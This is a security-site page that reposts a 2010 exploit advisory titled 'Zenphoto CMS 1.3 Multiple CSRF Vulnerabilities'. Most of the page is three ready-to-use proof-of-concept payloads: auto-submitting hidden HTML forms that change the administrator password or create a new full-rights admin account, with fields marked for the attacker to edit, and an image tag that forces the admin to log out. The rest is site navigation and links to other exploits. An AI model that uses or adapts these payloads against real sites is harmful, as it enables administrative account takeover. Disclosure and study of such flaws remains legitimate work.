首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities
来源:10n1z3d[at]w[dot]cn 作者:10n1z3d 发布时间:2010-07-15  

<!---
    Title: Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Wed 14 Jul 2010 12:48:56 PM EEST
    Vendor: http://www.zenphoto.org/
    Download: http://zenphoto.googlecode.com/files/zenphoto-1.3.tar.gz
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">
                <!--- Edit these --->
                <input type="hidden" name="0-admin_name" value="root" />
                <input type="hidden" name="0-admin_email" value="root@root.com" />
                <input type="hidden" name="0-adminpass" value="rootroot" />
                <input type="hidden" name="0-adminpass_2" value="rootroot" />
                <!--- Do not edit below --->
                <input type="hidden" name="saveadminoptions" value="yes" />
                <input type="hidden" name="alter_enabled" value="1" />
                <input type="hidden" name="show-admin" value="1" />
                <input type="hidden" name="0-adminuser" value="admin" />
                <input type="hidden" name="0-confirmed" value="2" />
                <input type="hidden" name="0-ADMIN_RIGHTS" value="65536" />
                <input type="hidden" name="0-OPTIONS_RIGHTS" value="8192" />
                <input type="hidden" name="0-TAGS_RIGHTS" value="4096" />
                <input type="hidden" name="0-ZENPAGE_RIGHTS" value="2049" />
                <input type="hidden" name="0-THEMES_RIGHTS" value="1024" />
                <input type="hidden" name="0-MANAGE_ALL_ALBUM_RIGHTS" value="512" />
                <input type="hidden" name="0-ALBUM_RIGHTS" value="256" />
                <input type="hidden" name="0-COMMENT_RIGHTS" value="64" />
                <input type="hidden" name="0-POST_COMMENT_RIGHTS" value="32" />
                <input type="hidden" name="0-UPLOAD_RIGHTS" value="16" />
                <input type="hidden" name="0-VIEW_ALL_RIGHTS" value="8" />
                <input type="hidden" name="0-OVERVIEW_RIGHTS" value="4" />
                <input type="hidden" name="show-" value="16" />
                <input type="hidden" name="totaladmins" value="1" />
            </form>
        </body>
    </html>
   
-=[ CSRF PoC 2 - Create Admin User ]=-

    <html>
        <head>
            <title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">
                <!--- Edit these --->
                <input type="hidden" name="1-adminuser" value="root" />
                <input type="hidden" name="1-adminpass" value="rootroot" />
                <input type="hidden" name="1-adminpass_2" value="rootroot" />
                <input type="hidden" name="1-admin_name" value="root" />
                <input type="hidden" name="1-admin_email" value="root@root.com" />
                <!--- Do not edit below --->
                <input type="hidden" name="saveadminoptions" value="yes" />
                <input type="hidden" name="alter_enabled" value="1" />
                <input type="hidden" name="show-admin" value="1" />
                <input type="hidden" name="1-ADMIN_RIGHTS" value="65536" />
                <input type="hidden" name="1-OPTIONS_RIGHTS" value="8192" />
                <input type="hidden" name="1-TAGS_RIGHTS" value="4096" />
                <input type="hidden" name="1-ZENPAGE_RIGHTS" value="2049" />
                <input type="hidden" name="1-THEMES_RIGHTS" value="1024" />
                <input type="hidden" name="1-MANAGE_ALL_ALBUM_RIGHTS" value="512" />
                <input type="hidden" name="1-ALBUM_RIGHTS" value="256" />
                <input type="hidden" name="1-COMMENT_RIGHTS" value="64" />
                <input type="hidden" name="1-POST_COMMENT_RIGHTS" value="32" />
                <input type="hidden" name="1-UPLOAD_RIGHTS" value="16" />
                <input type="hidden" name="1-VIEW_ALL_RIGHTS" value="8" />
                <input type="hidden" name="1-OVERVIEW_RIGHTS" value="4" />
                <input type="hidden" name="show-" value="16" />
                <input type="hidden" name="1-newuser" value="1" />
                <input type="hidden" name="1-confirmed" value="2" />
                <input type="hidden" name="totaladmins" value="2" />
            </form>
        </body>
    </html>

-=[ CSRF PoC 3 - Logout The Administrator ]=-

    <img src="http://[domain]/[path]/zp-core/admin.php?logout=0" alt="Do you see this?" />
   
<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 standard system beep
·Struts2/XWork < 2.2.0 Remote C
·Arora Browser version 0.10.0-1
·Power/Personat FTP 2.30 Server
·dotDefender 4.02 Authenticatio
·Novell Groupwise Webaccess Sta
·ASX to MP3 Converter v3.1.2.1
·Opera Denial of Service by
·
Corel WordPerfect Office X5 15
·Mini-Stream RM-MP3 Converter v
·Ubuntu PAM MOTD Local Root Exp
·Novell Groupwise Internet Agen
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved